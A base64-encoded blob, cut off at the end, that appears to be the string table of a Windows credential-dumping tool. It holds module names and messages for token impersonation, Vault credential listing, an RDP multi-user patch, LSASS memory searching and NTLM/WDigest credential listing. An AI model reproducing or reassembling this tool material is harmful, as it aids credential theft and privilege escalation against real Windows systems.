AuAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAGwAdQBlACAAbQBvAGQAdQBsAGUAAABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFYAZQBuAGQAbwByACAARwBVAEkARAA6ACAAAAAAAAAAKQAKAEwAZQBuAGcAdABoACAAIAAgACAAIAA6ACAAJQB1AAoARABhAHQAYQAgACAAIAAgACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBsAGkAcwB0ACAAOwAgAE4AdABFAG4AdQBtAGUAcgBhAHQAZQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAHMARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlADAAOAB4ACAAKAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABOAHQAUQB1AGUAcgB5AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAbgBvAHQAIABmAG8AdQBuAGQALgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABOAHQAUQB1AGUAcgB5AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAcwBpAHoAZQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAHsAYgAxADYAYgAwADAAYgA1AC0AYwBhAGYAZQAtAGIAYQBiAGUALQAwAGUAZQAwAC0AZABhAGIAYQBkAGEAYgBhAGQAMAAwADAAfQAAAAAANAAxADAAMAAyADAAMAAwADQAYwAwADAANgAxADAAMAAyADAAMAAwADUANgAwADAANgA5ADAAMAA2ADUAMAAwADIAYwAwADAAMgAwADAAMAA0ADEAMAAwADIAMAAwADAANABjADAAMAAyADcAMAAwADQAMQAwADAANgBkADAAMAA2AGYAMAAwADcANQAwADAANwAyADAAMAAwADAAMAAwAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAATgB0AFMAZQB0AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAAABOAE8ATgBfAFYATwBMAEEAVABJAEwARQAAAAAAQgBPAE8AVABTAEUAUgBWAEkAQwBFAF8AQQBDAEMARQBTAFMAAAAAAFIAVQBOAFQASQBNAEUAXwBBAEMAQwBFAFMAUwAAAAAASABBAFIARABXAEEAUgBFAF8ARQBSAFIATwBSAF8AUgBFAEMATwBSAEQAAABBAFUAVABIAEUATgBUAEkAQwBBAFQARQBEAF8AVwBSAEkAVABFAF8AQQBDAEMARQBTAFMAAAAAAAAAAABUAEkATQBFAF8AQgBBAFMARQBEAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAQQBQAFAARQBOAEQAXwBXAFIASQBUAEUAAAAAAEsAaQB3AGkARQBmAGkAVgBhAHIAaQBhAGIAbABlAHMAAAAAAEUAZgBpAEIAbwBvAHQAVgBhAHIAaQBhAGIAbABlAHMAAAAAAEUAeABwAFMAZQBjAHUAcgBlAEIAbwBvAHQAVgBlAG4AZABvAHIAAAAlAHMAIAAtACAAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAGUAbABlAHYAYQB0AGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHQAbwBrAGUAbgAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACoAIABUAGgAcgBlAGEAZAAgAFQAbwBrAGUAbgAgACAAOgAgAAAAbgBvACAAdABvAGsAZQBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAEkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQB1AGwAdABpAHIAZABwAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQBsAGwAbwB3ACAAbQB1AGwAdABpAHAAbABlAHMAIAB1AHMAZQByAHMAAAB0AHMAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAAAAAABXAGkAbgBkAG8AdwBzACAAVgBhAHUAbAB0AC8AQwByAGUAZABlAG4AdABpAGEAbAAgAG0AbwBkAHUAbABlAAAAdgBhAHUAbAB0AGMAbABpAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1UeXBlcwBWYXVsdEVudW1lcmF0ZVZhdWx0cwAAAABWYXVsdE9wZW5WYXVsdAAAVmF1bHRHZXRJbmZvcm1hdGlvbgBWYXVsdEVudW1lcmF0ZUl0ZW1zAFZhdWx0Q2xvc2VWYXVsdABWYXVsdEZyZWUAAABWYXVsdEdldEl0ZW0AAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABQAGkAbgAgAEwAbwBnAG8AbgAAAFAAaQBjAHQAdQByAGUAIABQAGEAcwBzAHcAbwByAGQAAAAAAEIAaQBvAG0AZQB0AHIAaQBjAAAATgBlAHgAdAAgAEcAZQBuAGUAcgBhAHQAaQBvAG4AIABDAHIAZQBkAGUAbgB0AGkAYQBsAAAAAAAKAFYAYQB1AGwAdAAgADoAIAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgADoAIAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAACQAJACoAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAqACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADcAIAA6ACAAJQAwADgAeAAAAAAACQAJAFAAYQBjAGsAYQBnAGUAUwBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADgAIAA6ACAAJQAwADgAeAAAAAAACgAJAAkAKgAqACoAIAAlAHMAIAAqACoAKgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEUAbgB1AG0AZQByAGEAdABlAFYAYQB1AGwAdABzACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAkACQBVAHMAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAAAAAAAAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADIAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAACQAJACAAWwAlAHUAXQAgAAAAAABwAG8AaQBuAHQAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAGMAbABvAGMAawB3AGkAcwBlAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAABsAGkAbgBlACAAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAIAAtAD4AIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUALgAqAHMAXAAAAHQAbwBkAG8AIAA/AAoAAAAJAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAABbAFUAUwBIAE8AUgBUAF0AIAAlAGgAdQAAAAAAWwBEAFcATwBSAEQAXQAgACUAdQAAAAAAWwBTAFQAUgBJAE4ARwBdACAAJQBzAAAAWwBCAFkAVABFACoAXQAgAAAAAABbAFMASQBEAF0AIAAAAAAAWwBBAFQAVABSAEkAQgBVAFQARQBdAAoAAAAAAAkACQAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAJAAkAIAAgAEsAZQB5AHcAbwByAGQAIAA6ACAAJQBzAAoAAAAJAAkAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAFsAVAB5AHAAZQAgACUAMgB1AF0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlAHUACgAAACAAWwAlADIAdQBdACAAQQB0AHQAcgBpAGIAdQB0AGUACgAAACAAIABGAGwAYQBnAHMAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAGkAbgBmAG8AcwAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAG0AbwBkAHUAbABlAAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEYAaQBlAGwAZAAgADoAIAAlAHUAIAByACAAeAAgACUAdQAgAGMACgBNAGkAbgBlAHMAIAA6ACAAJQB1AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAACUAQwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAIABjAG8AcAB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGwAbwBiAGEAbAAgAGMAbwBwAHkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABTAGUAYQByAGMAaAAgAGkAcwAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABOAFQAIABIAGUAYQBkAGUAcgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABOAG8AIABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABpAG4AIABtAGUAbQBvAHIAeQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZQBsAGUAbQBlAG4AdABzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGYAaQByAHMAdAAgAGUAbABlAG0AZQBuAHQACgAAAGwAcwBhAHMAcgB2AAAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBuAHQANQBfAGkAbgBpAHQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoAAoAAAAAAGIAYwByAHkAcAB0AAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAQkNyeXB0U2V0UHJvcGVydHkAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGM